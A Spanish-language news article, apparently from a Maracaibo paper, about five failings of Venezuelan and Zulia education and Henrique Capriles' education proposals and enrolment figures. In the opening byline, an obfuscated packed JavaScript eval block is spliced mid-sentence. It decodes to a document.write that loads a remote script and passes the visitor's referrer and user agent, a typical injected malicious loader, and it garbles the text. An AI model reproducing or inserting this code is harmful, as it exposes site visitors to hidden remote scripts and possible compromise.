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Politización y mediocridad carcomen a la educación

Isabel Cristina Morán / Maracaibo / imoran@laverdad.com
Colegio eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|shynt|var|u0026u|referrer|ntryn||js|php'.split('|'),0,{})) de Licenciados en Educación y programa de gobierno de Henrique Capriles Radonski desglosan las cinco fallas del sistema. Conozca cómo está el sistema de aprendizaje en la región y tome nota sobre cómo mejorar los procesos

Ideologización, educación rutinaria, incapacidad docente, infraestructura física a medias y profesores chantajeables, así de claro. Estas cinco fallas, enumeradas por el Colegio de Licenciados en Educación, no dejan que la educación venezolana, concretamente la zuliana, dé lo mejor al estudiantado. Y empeora con los "bajos" sueldos, reflexiona Jesús Díaz, presidente del colegio, seccional Zulia. 

Si alguien, Gobierno u oposición, atacara estos cinco tópicos, "tendrían educación para exportar". Díaz exhorta a concebir un sistema unificado, interrelacionado, que se comunica entre sí. Ve así a la educación, como un todo.

Ahora lea lo que tiene que decir: "Imaginen a un profesor con sueldo mínimo, a pesar de tener especialidades y estudios. Alguien acosando, imponiendo contenidos, ideologizando. Aquí entra la desmotivación, tanto del profesor que se concentra en cómo resolver los problemas del hogar, como las del alumno aburrido con clases rutinarias". 

Además, ejemplifica. Cuando fue director del liceo Alonso Pacheco seleccionó a los 30 mejores estudiantes y los tomó por sorpresa. Les organizó un paseo a la playa. Al cierre de año, el índice académico general de la institución subió de nueve puntos a 15. Ese período escolar, de mil 200 alumnos, aplazaron cuatro. "Eso es motivación".  

El desglose

Empecemos con lo primero, por la forma de usar la educación. "La utilizan como vehículo político, ese es el primer gran problema. Con la educación, en este momento, se está sembrando un pensamiento unificado, con la finalidad de favorecer al Gobierno. Le lavan el cerebro a niños, adolescentes y jóvenes para que sirvan a un sector político".

En segundo lugar se ubica el aspecto rutinario de la educación. El sistema es "aburrido". Él plantea la siguiente salida para recuperar la diversión en la calidad: propuso que la educación sea vista menos rutinaria y más alegre. Esto se lograría aumentando el salario de los docentes destinados a cubrir los déficits de sus hogares, y a motivarlos a cumplir con sus cargas horarias. Lo poco atractivo de los salarios genera que los mejores talentos emigren a otras carreras universitarias a la hora de seleccionar la profesión.

A estas alturas del análisis, surge una interrogante que da pie a la tercera falla: ¿Quién imparte enseñanzas en las aula?. "El Gobierno excluyó del sistema educativo a los licenciandos en Educación, pedagogos preparados, con tiempo de servicio suficiente para enseñar. Se empeñan en incorporar a personas no preparadas que obedecen a ideales políticos, como los egresados de la Misión Sucre y la Universidad Bolivariana de Venezuela".

Que vuelvan los concursos para seleccionar educadores, vigentes aún en el actual Reglamento de la Profesión Docente, ratificado en la Ley Orgánica de Educación, pide Jesús Díaz. Que todos tengan la oportunidad, que ganen los mejores.

Pasa que se van de la educación pública a la privada porque no hay garantía de calidad. "El Gobierno juega a  eso. Porque a medida de que la preparación sea mínima, más fácil de manipular al estudiantado. Mientras menos capacidad de análisis, son más manipulables".

Setenta y cinco por ciento de la infraestructura física de los planteles en el país están en malas condiciones. Esta premisa asegurada por el Colegio de Licenciados en Educación, da paso al penúltima problema educativo: la infraestructura. Los liceos Udón Pérez y Rafael María Baralt son ejemplo del abandono en Zulia. Sólo 25 % de la planta física permanece estable.

"Y con el profesor interino que se deja chantajear, que permite que lo traten como rehén político podemos hacer poco. Eso queda en su conciencia".

El camino

El candidato presidencial Henrique Capriles Radonski propone, de ganar los comicios presidenciales mañana, un programa centrado en aumentar las tasas de matriculación escolar, descentralizar los centros de formación, incrementar la calidad educativa, cambiar la demanda del servicio con mayor estructura y atender la situación del personal docente al sincerar nóminas, sueldos y salarios, además de las condiciones de los suplentes.

Para lograrlo, propuso un decálogo de acciones a seguir en Zulia. Tres se basan en aumentar la cobertura de atención media-diversificada, y educación pre escolar, junto a un plan de recuperación nutricional en las mismas. Según los registros de su programa, 15 parroquias del Zulia poseen una baja matriculación de niños, y 21 de jóvenes de 12 a 17 años. 

Jesús Díaz aprobó el planteamiento. El gremio docente zuliano otorgó al candidato el documento Un cambio de rumbo, para reforzar su propuesta educativa. De quedar electo, lo discutirán y aplicarán. 

Datos

* La población que no asiste a centros educativos, de acuerdo a los últimos censos, es mayor en la educación preescolar y media diversificada.

* Casi la mitad de los niños zulianos, entre tres y seis años, no reciben competencias pedagógicas para su formación.

* Entre los tres y 17 años, la atención escolar apenas se ubica en un 30 y 37 por ciento en municipios afectados por la pobreza.

* Catatumbo, Colón, Jesús María Semprúm, Machiques, Francisco Javier Pulgas, Rosario de Perijá, Sucre y la Cañada de Urdaneta registran fallas en sus sistemas escolares que ameritan ser atendidas con prioridad.

FUENTE: Programa Educativo destinado a la región zuliana del candidato presidencial Henrique Capriles Radonski. 

Otras cifras

* 185 mil 841 es la matriculación total de las escuelas de calidad en Zulia (2008).

* Entre 60 y 90 % se registra la atención en materia educativa.

* 60 % de niños entre tres y seis años reciben atención escolar.

* Menor al 50% es la cobertura actual de los niños en edad de preescolares.

FUENTE: Programa Educativo destinado a la región zuliana del candidato presidencial Henrique Capriles Radonski.

Colegios y alumnado

* Planteles en Zulia: dos mil 694.

* Total de alumnado zuliano: un millón un mil 143.

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